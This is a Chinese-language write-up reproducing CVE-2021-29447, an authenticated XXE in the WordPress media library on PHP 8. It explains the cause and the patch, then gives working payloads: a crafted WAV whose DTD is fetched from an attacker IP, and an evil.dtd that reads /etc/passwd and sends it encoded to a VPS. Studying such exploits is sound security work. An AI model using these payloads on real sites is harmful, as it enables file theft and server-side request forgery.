WordPress在PHP8下经过身份验证的媒体库XXE漏洞
CVE-2021-29447
产品介绍
WordPress是一款能建立出色网站、博客或应用程序的开源软件。
漏洞简介
漏洞危害:
研究人员在WordPress中新发现了一个的XXE漏洞(CVE-2021-29447),远程攻击者可以利用该漏洞访问任意内部文件,并实现服务器端请求伪造(SSRF)。
漏洞原因
主要是在wp-includes/ID3/getid3.lib.php
wordpress有一个媒体库,经过身份验证的用户可以上传媒体文件以便后续使用,再上传媒体文件时,wordpress会调用getid3这个库,提取上传媒体文件的元信息,其中一些数据会以XML的格式进行解析,因此所以在一定条件下会导致XXE漏洞。2014年,WordPress 3.9.2中添加了一个禁用外部实体libxml_disable_entity_loader(true)的调用,以修复一个XXE漏洞。随着php8的发布,有关的代码被略作修改,以适应libxml_disable_entity_loader()函数的弃用。因为PHP新版本使用Libxml2 v2.9+,默认情况下会禁用外部实体获取。因此,只有当运行的PHP版本<8时,才需调用该函数。所以当php大于等于8时,便可以利用这个特点。虽然simplexml_load_string()函数调用并不是默认的。即使名称可能不建议使用,LIBXML_NOENT标志也会启用实体替换。在这种情况下,LIBXML_NOENT意味着结果中将不保留任何实体,因此将提取并替换外部实体。如此一来,便可以在运行PHP 8的WordPress上,利用已在WordPress 3.9.2中修复的XXE漏洞。
影响产品:
补丁分析
重新引入libxml_disable_entity_loader(true)的调用,或者重新引入另外一种方法libxml_set_external_entity_loader()
漏洞调试环境搭建
可以去WPScan官网下载对应版本手动搭建,例如下面的5.6.2版本:
https://wpscan.com/wordpress/562
也能使用docker直接搭建:
https://github.com/motikan2010/CVE-2021-29447
漏洞利用及代码分析
利用方法
利用下方语句构造wave格式的恶意音频文件,主要就是使用最小必要的wave结构加上恶意有效载荷得到payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://175.178.47.228:8888/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
然后在自己的VPS下写入evil.dtd
<!ENTITY % file SYSTEM "php://filter/zlib.default/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY %init "<!ENTITY % trick SYSTEM 'http://VPS:PORT/?p=%file'">
最后在该目录下用php启动一个web服务器
php -S 0.0.0.0:PORT
然后用户登录wordpress在媒体库上传上面精心构造的payload.wav就可以实现ssrf,访问内部的任意文件,外带出base64加密和zlib压缩过的内容。
最后通过php解出实际内容即可
echo zlib_decode(base64_decode('内容'));
实际流程
在/wp-admin界面登录一个有上传媒体文件权限的用户,然后在/wp-admin/media-new.php上传(linux下使用docker搭建的环境上传不会报错,但是windows下用phpstudy搭建的上传会报错,虽然报错但是仍有信息被外带出来了):
触发外带出有效信息:
最后php解压和解密即可:
经过尝试,文件如果到达一定的长度后是外带不出来的。
代码分析
上传恶意wav文件,debug一下,大致的函数结构如下:
在解析xml的地方下了断点,可以看到当php版本大于8.0时,没有进入那两个if,就不会禁用外部实体,就会进行解析,这里自己的vps就已经可以收到结果了,因此造成了xxe注入。
总结
经过本次CVE的复现,加深了我对xxe的一些基础知识的理解,知道了xxe外部实体注入漏洞是如何产生的,并且如何进行修复。对于xml和dtd的基础知识也有了一定的了解,能够进行一定程度上的运用。学习到了在xxe实体注入时,没有回显可以使用vps将ssrf得到信息外带出来。最后,还有再次学习了如何使用docker搭建环境,确实十分方便。
参考资料
http://cn-sec.com/archives/362965.html
https://zhuanlan.zhihu.com/p/368864884
https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
https://www.freebuf.com/vuls/272446.html
https://dl.packetstormsecurity.net/2106-exploits/CVE-2021-29447.pdf
PAYLOAD&一些额外知识
下面使用的都是参数实体
Now we can create a malicious WAV file.
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://[Our IP]:[PORT]/[FILE].dtd'"'"'>%remote;%init;%trick;]>\x00' > 123.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://175.178.47.228:8888/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://175.178.47.228:8888/evil.dtd'"'"'>%remote;%init;%trick;]>\x00
Now create an evil.dtd file to store the next part of the payload
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://VPS:PORT/?p=%file;'>" >
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://175.178.47.228:8888/?p=%file;'>" >
总的payload为:
前面的几个特定字符为构造wave文件的必要结构
RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://VPS:PORT/evil.dtd'>%remote;%init;%trick;]>\x00
<!ENTITY % file SYSTEM "php://filter/zlib.default/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY %init "<!ENTITY % trick SYSTEM 'http://VPS:PORT/?p=%file'">
由于请求时,将数据base64加密了一遍又压缩了一遍,所以需要先base64解密后解压
<?php
echo zlib_decode(base64_decode(''));
docker
docker-compose up -d
docker-compose down
docker ps
docker images
docker exec -it (container-id) /bin/bash
docker rmi (images-id)
编辑docker内的文件可以直接 cat>>就行了
wordpress禁用更新
define( 'WP_AUTO_UPDATE_CORE', false );